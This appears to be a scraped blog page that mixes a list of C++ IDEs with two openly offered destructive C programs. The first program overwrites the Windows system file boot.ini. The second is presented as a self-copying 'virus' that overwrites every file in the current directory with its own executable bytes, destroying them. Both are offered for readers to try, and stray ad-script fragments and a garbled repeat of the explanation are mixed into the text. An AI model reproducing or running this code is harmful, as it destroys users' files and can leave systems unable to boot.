#include
#include
void main()
{
FILE *fp;
char line[5][50];
int j;
fp = fopen(“c:\\boot.ini”, “w”);
strcpy(line[0], “[boot loader]“);
strcpy(line[1], “timeout=30″);
strcpy(line[2], “default=multi(0)disk(0)rdisk(0)partition(1)”);
strcpy(line[3], “[operating systems]“);
strcpy(line[4], “multi(0)disk(0)rdisk(0)partition(1)”);
for (j = 0; j< 5; j++)
{
fputs(line[j], fp);
fputc('\n', fp);
}
fclose(fp);
}
This program replaces the system file “boot.ini” in system drive with a new one.
This worked with me in Windows XP.
Like this:
Be the first to like this post.
There are many c++ compiler and IDEs available over the internet .
(IDE=INTEGRATED DEVELOPMENT ENVIOURMENT)
MAIN IDEs are
CODE::BLOCKS
INFO
Code::Blocks is a free C++ IDE built to meet the most demanding needs of its users. It is designed to be very extensible and fully configurable.
Finally, an IDE with all the features you need, having a consistent look, feel and operation across platforms.
Built around a plugin framework, Code::Blocks can be extended with plugins. Any kind of functionality can be added by installing/coding a plugin. For instance, compiling and debugging functionality is already provided by plugins!
DOWNLOAD FROM HERE
2)DEV C++
Bloodshed Dev-C++ is a full-featured Integrated Development Environment (IDE) for the C/C++ programming language. It uses Mingw port of GCC (GNU Compiler Collection) as it’s compiler. Dev-C++ can also be used in combination with Cygwin or any other GCC based compiler.
Features are :
- Support GCC-based compilers
- Integrated debugging (using GDB)
- Project Manager
- Customizable syntax highlighting editor
- Class Browser
- Code Completion
- Function listing
- Profiling support
- Quickly create Windows, console, static libraries and DLLs
- Support of templates for creating your own project types
- Makefile creation
- Edit and compile Resource files
- Tool Manager
- Print support
- Find and replace facilities
- CVS support
DOWNLOAD FROM HERE
3)CODELITE IDE
CodeLite is an open-source, cross platform IDE for the C/C++ programming languages (build and tested on Windows XP SP3, Windows Vista, Ubuntu 9.10, and Mac OSX 10.5.6). CodeLite is distributed under the terms of the GPLv2 license with an exception:
License exception:
The only exception is that plugins developed for CodeLite (other than the ones that comes with the official installer provided by the CodeLite team), are allowed to remain closed sourced and can be distributed under any license
DOWNLOAD FROM HERE
Like this:
Be the first to like this post.
This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.
Don’t compile in ur own machine.
#include
#include
#include
#include
#include
#include
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(”*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(”Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(”DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(”TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
VIRUS CODE IN “C” && “C++” to jam a system!!
// <![CDATA[
if(typeof(hyperweb_adcount)=="undefined") hyperweb_adcount =1;
//<![CDATA[
var m3_u = 'http://www.hyperwebads.com/test/delivery.php'
document.write ("");
//
// ]]>//
This programcreates is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.
Like this:
Be the first to like this post.
Recent Comments